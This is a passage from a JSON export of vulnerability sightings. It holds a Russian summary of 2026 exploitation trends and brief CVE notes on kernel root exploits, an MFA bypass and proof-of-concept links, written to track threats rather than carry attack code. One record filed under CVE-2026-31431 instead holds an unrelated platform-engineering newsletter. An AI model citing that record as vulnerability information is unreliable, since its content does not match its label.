\u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-26T18:00:05.349187Z"}, {"uuid": "7ee52913-48d8-4e2e-bf0c-6f33fe9edeed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31337", "type": "seen", "source": "Telegram/0Lzh2WjQOWsuTydOW_ekHZzZKDiwWQ3j_cpMbWJHlr9U_UA", "content": "", "creation_timestamp": "2026-08-24T21:00:05.405253Z"}, {"uuid": "7f904f26-f237-4cbb-b89f-9eeb42ed7a41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3mr4er2tj4k2f", "content": "Unprivileged root via an out-of-bounds write in the FUSE readdir cache (CVE-2026-31694)\n\nArticle by Stan Shaw about exploiting a page OOB write bug in the FUSE subsystem by overwriting /etc/passwd in the page cache.\n\ncyberstan.co.uk/fuse-readdir...", "creation_timestamp": "2026-07-20T22:46:45.125672Z"}, {"uuid": "29b2b47d-b3e6-43af-9e60-9d6e28d63d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "seen", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-21T00:00:36.182503Z"}, {"uuid": "a90e0da7-eee9-468a-ba60-d012c9735854", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "seen", "source": "Telegram/NW7V9u2EGhRgED-z9xdOzHZbsfjRyxRBUkGYF4xdEtg2Mh4", "content": "", "creation_timestamp": "2026-07-21T00:00:37.755594Z"}, {"uuid": "204562b9-5d16-4406-8995-28c9d20b7736", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/cve0day/392", "content": "CVE-2026-31431\n\nIn the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: algifaead - Revert to operating out-of-place\n\nThis mostly reverts commit 72548b093ee3 except for the copying of\nthe associated data.\n\nThere is no benefit in operating in-place in algifaead since the\nsource and destination come from different mappings.  Get rid of\nall the complexity added for in-place operation and just copy the\nAD directly.", "creation_timestamp": "2026-08-27T15:00:08.042907Z"}, {"uuid": "1ee2e8d7-905f-4ebd-83be-fd2af36f8463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3183", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr5knjvbvc24", "content": "CVE-2026-3183 - Multi Factor Auth Bypass\nCVE ID : CVE-2026-3183\n \n Published : July 21, 2026, 8:16 a.m. | 1\u00a0hour, 28\u00a0minutes ago\n \n Description : Zohocorp ManageEngine ADSelfService Plus versions before 6524 are vulnerable to Multi Factor Authentication Bypass.\n \n Severity: 7....", "creation_timestamp": "2026-07-21T10:04:45.878511Z"}, {"uuid": "689635b9-66c7-4b8e-9c50-c16ceeb4e110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3182", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr5lkaulgz2q", "content": "CVE-2026-3182 - Sensitive Data Exposure\nCVE ID : CVE-2026-3182\n \n Published : July 21, 2026, 6:16 a.m. | 3\u00a0hours, 28\u00a0minutes ago\n \n Description : Zohocorp ManageEngine Endpoint Central versions before\u00a011.4.2528.34 are affected by cleartext transmission of sensitive information...", "creation_timestamp": "2026-07-21T10:20:49.590218Z"}, {"uuid": "6fc3565c-ef7e-45b9-909e-3c4516fa872d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/BMLRzi6GxNLh9Y-kste7qnOEyxUjpKwyZDAyz25BJw9R9vo", "content": "", "creation_timestamp": "2026-08-28T00:00:43.671172Z"}, {"uuid": "33fb73f3-f1b0-4b94-bfb1-0506401730d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31802", "type": "seen", "source": "https://t.me/cve0day/324", "content": "CVE-2026-31802\n\nnode-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.\n\nGitHub Link:\nhttps://github.com/Recorded-texteditor120/CVE-2026-31802", "creation_timestamp": "2026-08-27T15:00:11.293146Z"}, {"uuid": "fa901b7e-7e39-40c3-b4b6-1eb78d8b5ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/9BtrUinGR09Vw-DDzgsbuAL7mkCqzQImOpJ5grPSV1xMots", "content": "", "creation_timestamp": "2026-08-28T00:00:48.059713Z"}, {"uuid": "664b7fe1-520f-4243-b851-aa09b3819c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/_ggO1ftwEo_1OFNxmypFIvaeDAuz_PBDvQPWNeSc7kLjI5w", "content": "", "creation_timestamp": "2026-08-28T00:00:48.123858Z"}, {"uuid": "fe9e646d-c85d-46e8-a1fa-80d55eb3c946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31721", "type": "published-proof-of-concept", "source": "Telegram/Qorl8KsupVbzUPX8azz4xQbaY0YHd4AMaNdtiK2dWAxVLZg", "content": "", "creation_timestamp": "2026-08-28T00:00:48.290270Z"}, {"uuid": "2a143b9d-ad7a-4b7f-89d6-2e3978c05848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3144", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr6sz7ljau26", "content": "\ud83d\udccc CVE-2026-3144 - IBM API Connect 12.1.0.0 through 12.1.0.3 uses default credentials which could allow an attacker to gain unauthorized access to the application before... https://www.cyberhub.blog/cves/CVE-2026-3144", "creation_timestamp": "2026-07-21T22:07:07.344960Z"}, {"uuid": "d70b4fb9-5dbf-418a-9d45-88811c64cb22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mr6wdtmxgh2p", "content": "CVE-2026-31431 \"Copy Fail\": 732 Bytes of Code Breaks the Linux Kernel Since 2017", "creation_timestamp": "2026-07-21T23:06:46.347898Z"}, {"uuid": "e51387dd-d384-487a-bc11-a50edd863245", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "published-proof-of-concept", "source": "Telegram/NW7V9u2EGhRgED-z9xdOzHZbsfjRyxRBUkGYF4xdEtg2Mh4", "content": "", "creation_timestamp": "2026-07-22T00:00:03.527289Z"}, {"uuid": "0a3d438d-96d6-4701-905e-54f255cd014e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "published-proof-of-concept", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-22T00:00:03.649802Z"}, {"uuid": "5c715f80-da4a-4b53-9519-38ab0fc1c5c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31337", "type": "published-proof-of-concept", "source": "Telegram/0Lzh2WjQOWsuTydOW_ekHZzZKDiwWQ3j_cpMbWJHlr9U_UA", "content": "", "creation_timestamp": "2026-08-25T00:00:08.529564Z"}, {"uuid": "86cab9f0-666b-4d01-a277-65f691c782bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/christophcrichter/1014e3babd763e3d98ee85ac24bfd767", "content": "\n\n  Platform Weekly\n  https://platformweekly.com\n  Platform engineering news, best practices, and community highlights.\n  \n  Officially accepted as a CNCF sandbox project!?\n  https://platformweekly.com/issues/officially-accepted-as-a-cncf-sandbox-project\n  https://platformweekly.com/issues/officially-accepted-as-a-cncf-sandbox-project\n  \n  \nHey there! Welcome to Platform Weekly, your weekly sip of platform engineering juice. This week we\u2019re jumping into one of my favorite topics around - Score\ud83e\udd50\ud83e\uddc3\nScore officially accepted as a CNCF sandbox project!?\nAfter almost 2 years of work, the open-source workload specification Score has been accepted as a CNCF sandbox project! I couldn\u2019t be more proud.\nIf you\u2019re new to the community, I was a HUGE fan of Score when it launched at the end of 2022, and this community helped blast it off to over 5,000 stars in no time. Back then the promises were pretty exciting, but it was just starting its journey. Well\u2026 it\u2019s just kept growing from there.\nDesigned to simplify development for developers in the cloud-native era, the specification lets you simply describe your workload's configuration in a platform-neutral way, removing the need for tooling-specific syntax from platforms such as Docker Compose or Kubernetes. \nSo when you need to define a workload configuration, it becomes as easy as \u201cI want a database of type X and an event queue of type Y to accompany my workload\u201d.\nNo fiddling around in unstructured YAML. No extra bs.\nThis kind of abstraction is exactly what platform engineering is all about.\nAnd the community agrees. Since that first launch almost 2 years ago, Score has just kept getting bigger. They\u2019ve just rolled out two new reference implementations for Docker Compose and Kubernetes. And I\u2019ve heard there is so much more in the pipeline.\nI can\u2019t wait to see where we go from here. This is just the beginning.\nP.S. Haven\u2019t saved your spot in the community's platform engineering fundamentals course? We\u2019ve got some awesome stuff in store\nQuick bites\nArticle of the week:\n\n\nSilos Are Fantastic. Just Ask Kelsey Hightower\nFrom the community:\nWhy Backstage is not your platform - this is a must-see webinar!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Become a Platform Engineering Ambassador\n  https://platformweekly.com/issues/become-a-platform-engineering-ambassador\n  https://platformweekly.com/issues/become-a-platform-engineering-ambassador\n  \n  \nDid you know that the community has a Platform Engineering Ambassador program? Just over 100+ platform engineering practitioners and leaders have been learning from each other, connecting with each other, and sharing their ideas and knowledge with over 300,000 people across our audience.\nA perfect example of that is across our webinars and articles. In 2025, articles and webinars from ambassadors were viewed almost 80,000 times. With thousands of discussions starting across the community.\nIf you\u2019re a long time reader of Platform Weekly, you know that 2026 is a huge year for platform engineering. As AI massively accelerates platform engineering adoption within the enterprise, and mature platform teams are growing to absorb new domains like data, security, observability and more, platform engineering is a fundamental discipline this year.\nAt the same time\u2026 the data is in. The maturity of platform engineering as an industry has continued to improve piece by piece. While across the community, there are more questions than ever on the different architectures of a platform (especially as we get more specialized). In justPlatforms for the frontend vs platforms for the backend, platforms for AI/ML workloads, or specialised platforms for observability and security.\nThese are huge frontiers. And to help master them - we need experts! That is where our Ambassadors come in.\nThe program is not just where we can put your content in front of potentially 10s of thousands of people, but where we have the opportunity to learn and challenge each other.\nApply now - we\u2019d love to talk to you!]]>\n  \n  Mon, 26 Jan 2026 00:00:00 GMT\n\n\n  Zero to Platform (Engineer)\n  https://platformweekly.com/issues/zero-to-platform-engineer\n  https://platformweekly.com/issues/zero-to-platform-engineer\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly chop of platform engineering wood. Every week, we take a look at a new area of the platform engineering community and industry. Jumping into best practices, lessons learned, failures, and news.\nBTW - The State of Platform Engineering Vol 3 has just launched. It\u2019s got data on salaries, AI usage, measurement, platform maturity, and more. Take a look!\nZero to Platform (Engineer)\nWe have just launched part 2 of the Platform Engineering Certification track - Platform Engineering: MVP to IDP. You can now easily go from the Fundamentals to certified Platform Engineer in one bundle.\nIt covers the full journey from designing and developing your Minimum Viable Platform to demoing your Internal Developer Platform to stakeholders. I\u2019m convinced it will be the most valuable contribution to platform engineering I\u2019ve ever got the chance to make.\nLet me explain why.\nExcluding a few massive outliers spending tens of millions (or spending zero), the majority of platform teams I\u2019ve worked with in 2024 cost around $2.5 to $5 million a year. On the low end, that\u2019s $208,000 a month.\nOf those teams, more than 40% didn\u2019t measure anything. Most struggled with buy-in from security. And many were either desperately trying to convince their execs for funding or vice versa - had received funding and had no idea what to do with it.\nNot to mention all those who were furthest along and yet had nothing more to show of their platform engineering than a half-baked Backstage implementation. \nWhy does this matter? Because every one of those things means months of wasted time. And every month can cost $208,000.\nThat month it took security to sign off because they didn\u2019t understand what you were trying to convince them of? $208k\nThose 3 months you spent implementing Backstage to only have v1 of a service catalog and minimal real impact on your platform engineering goals? $624k\nYour platform initiative getting shut down after 18 months because you didn\u2019t measure and can\u2019t prove value?\n\u200d\n\u200d\nThe course certainly isn\u2019t a magic bullet. It can\u2019t stop your boss from mandating you implement Backstage for a quick platform engineering win. And it can\u2019t stop your execs from changing their minds 6 months from now.\nBut it can make sure you know exactly what you need to do. It can take the experience the community has had working on and looking at 100s of platforms over the last 4 years and give you, whether you\u2019re a Junior Platform Engineer or a newly made Head of Platform Engineering, everything you need to dodge the mistakes everyone else is making.\nIf it can shave off even just 1 month of wasted time (and I think it can do more) for each team who takes it, then it might just be the most valuable thing the community has ever done.Let\u2019s do this!\nP.S. want to nail down the Fundamentals of Platform Engineering first? You can get everything as a bundle together.\n]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  3 IaC challenges and how to tackle them\n  https://platformweekly.com/issues/3-iac-challenges-and-how-to-tackle-them\n  https://platformweekly.com/issues/3-iac-challenges-and-how-to-tackle-them\n  \n  \nAfter kicking off our OSS Spotlight, the score-spec hit 1000 stars on GitHub. In two weeks!\nIt\u2019s great to see the platform community rally around exciting new tools like Score.\nWant to feature your OSS project in Platform Weekly? Shoot me an email with more details, and we\u2019ll make it happen.\nLet\u2019s get bakin\u2019 \ud83e\udd50\n3 IaC challenges and how to tackle them\nInfrastructure as Code (IaC) can be a \ud83d\udc15. Here are some common challenges and how to overcome them, courtesy of this article by Dewan Ahmed:\n1\ufe0f\u20e3 Resistance to learning: If it ain\u2019t broke, don\u2019t fix it\u2026 right? Well, not quite. You don\u2019t want to wait until your production database is down to implement better tooling.\n2\ufe0f\u20e3 Security issues: Bridgecrew\u2019s State of Open Source Terraform Security Report found that nearly 1 in 2 public Terraform modules were misconfigured. This can lead to major security issues. Remember that public modules in Terraform are a lot like code you find on the internet. So if you don\u2019t run code directly from stack overflow, you need to check configuration and security for public Terraform modules too.\n3\ufe0f\u20e3 Configuration drift and duplication of work: Sometimes, when engineers make manual changes or use custom scripts, you wind up with config drift and duplication of work. In the transitional period to IaC, this is completely normal. Just make sure that the same system isn\u2019t handled by both an IaC tool and manual/scripts at the same time.\n4\ufe0f\u20e3 Handling relational databases. Almost every cloud provider requires some downtime when their managed databases undergo a major version upgrade. There are some things you can do to minimize downtime, but eliminating it entirely isn\u2019t possible. But some IaC tools might allow you to prevent a sudden version upgrade. For major configuration changes, you\u2019ll likely experience some downtime. It\u2019s ideal to perform these changes during a maintenance cycle and inform users in advance.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The more microservices evolve, the greater the SRE role is for the engineering teams' success. This is a great example of how to build a resilient SRE process.\n\ud83e\udd50 Cloudify's Nati Shalom does a great job of breaking down the heated debate over the state of DevOps in this article.\n\ud83e\udd50 WTF is Platform as a Product? Paula Kennedy wraps it up \ud83c\udf81 for you \ud83d\udc47\n\ud83e\udd50 Podcast time. \ud83c\udf99\ufe0f MongoDB's Andrew Davidson talks about MongoDB's evolution from a software company to a cloud services company (MongoDB Atlas), how developers traditionally interacted with databases, and the need for Developer Data Platforms going forward. Tune in here \ud83d\udc48\n\ud83e\udd50 What do all of these new job titles even mean? This Reddit post might resonate with those of y'all confused about DevOps versus Platform Engineering titles.\n\ud83e\udd50 I bet all the coffee \u2615 addicts can relate\ud83d\udc47\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nAn interesting issue came up while building a platform, how did the community solved it?\n\nThe Platform Engineering community met in Tel Aviv, thank you to our partner Ella @ Firefly!\n\nWe discussed about possible service to use for outage and monitor reporting...\n\nHow do you create a solid charter for a new platform engineering team?\nOn our r/platformengineers:\n\n\nDevelopers, I want to hear from you: have you handled Terraform at scale?\n\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  First Platform Engineering course launched\n  https://platformweekly.com/issues/first-platform-engineering-course-launched\n  https://platformweekly.com/issues/first-platform-engineering-course-launched\n  \n  \nHey there! This is Platform Weekly, your weekly dive into all things platform engineering. We have got a freakin awesome one this week. \nThe first official platform engineering course has just launched\nI am excited to share that the first step in the path to being officially certified as a platform engineer has just launched. This is something I have been working on for months now. \ud83c\udf89\nThe certification path takes place over 2 courses, and a final exam. The courses are 8-10 weeks, and will each be led by me, with some awesome help from some of the top platform architects in the industry.\nThe certification path works to make sure that anyone completing the final exam and earning their certificate can clearly demonstrate an extremely high level of understanding and knowledge of platform engineering - from the theoretical, to the hands-on and practical.\nEach course has limited spaces to maximize interactivity, Q&A, collaboration and create the best environment for hands-on work. This is not the kind of course where you just get a video link.\nThe first course, Platform Engineering Fundamentals, is live right now - so if you want to get a job as a platform engineer, convince your boss to just start platform engineering, or just make sure you\u2019re a master of the fundamentals\u2026\nLet\u2019s get platform engineering!\nQuick bites\nArticles of the week:\n\n\nHow to become a platform engineer (If you haven\u2019t read my article on this yet. Now is a great time!)\nFrom the community:\n\n\nWhat is your favorite platform engineering reference architecture? Join the conversation in Slack!]]>\n  \n  Thu, 12 Dec 2024 00:00:00 GMT\n\n\n  Fundamentals course new guest lecturers confirmed\n  https://platformweekly.com/issues/fundamentals-course-new-guest-lecturers-confirmed\n  https://platformweekly.com/issues/fundamentals-course-new-guest-lecturers-confirmed\n  \n  \nHey there! Welcome to Platform Weekly, your weekly peek behind the platform engineering curtain\nPlatform Engineering Guest Lecturers confirmed\nWe\u2019re getting closer to the first-ever official platform engineering fundamentals course and it just keeps getting better!\nSuper excited to share that Manual Pais, co-author of Team Topologies (one of the foundational texts of platform engineering) will be joining us as a guest lecturer to share his knowledge and tips for the cultural side of platform engineering (the biggest challenge that holds teams back from succeeding)\nHe\u2019s been consulting companies for years on platform engineering, and his own courses at Team Topologies Academy, give an amazing overview (We\u2019ve got a 15% discount code to share with you\ud83d\udd25)\nIt is crucial to understand that platform engineering is not just a technical shift. It\u2019s not just about what tools, or services you are running. It\u2019s about cultural changes as well, and there is no better person than Manuel to give actionable advice on how to succeed.\nHaven\u2019t registered to join us yet? Spots are running out soon.\nCome master platform engineering with us!\nQuick bites\nArticle of the week:\n\n\n7 take-aways from PlatformCon 2024\n\u200dFrom the community:\n\n\nWant to discuss the course with other platform engineering fans? Come join the Slack!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform engineering measurement\n  https://platformweekly.com/issues/platform-engineering-measurement\n  https://platformweekly.com/issues/platform-engineering-measurement\n  \n  \nI like to start every new group of the Platform Engineering Fundamentals course by having everyone fill in a Platform Engineering Maturity model template based on their current setup/initiative.\nIt\u2019s a great way to get a sense of where everyone is, but also - make a pretty powerful and fundamental point to everyone right at the get-go.\nHere are 6 randomly grabbed maturity models from the last 3 classes. Can you spot what this newsletter is going to be about?\nI could share 10, or even 100 more of these course maturity models and the story would all be the same. There is a wide variety across each area EXCEPT measurement.\nIt\u2019s not just the course participants either. As I\u2019ve shared before, data from the State of Platform Engineering volume 3 highlights that 45% of respondents: DO NOT MEASURE.\nSo why is measuring so difficult? Since platform engineering tends to touch almost the entire organization, its benefits are often fairly wide in scope and can be several steps removed from broader business outcomes, making it hard to draw clear correlations. Not to mention the fact that the platform team touches everyone - so how can you prove your platform works when it touches 10 different places and does 100 different things?\nWell, therein lies the recurring big mistake. It\u2019s the same one that gets repeated again and again in the course, and this newsletter and it\u2019s probably the mistake you\u2019re making in the platform you're building right now.\nYour platform is too big. Too unfocused, and covers too many areas. And it has too unclear a scope.\nWhen you build your platform, you need to identify a clear and specific goal that you are trying to solve. (you likely have many, but trust me - you want to start smaller).\nIf you\u2019re trying to solve DevEx problems, security problems, and compliance problems all in one fell swoop, it\u2019s going to be impossible to properly set your platform moving in the right direction, and understand how you should be measuring it.\nSo\u2026 let\u2019s take a look at an example Minimum Viable Platform process and how it can highlight how good platform engineering measurement is done. This MVP is starting with 1 representative and engaged team. And importantly, this team's issues are reflective of the wider organization.\nStep 1: Be very clear about what the goal of your platform is.\nExample goal: Decrease cognitive load for Developer team XYZ\n(Keep in mind that you don\u2019t want to build 50 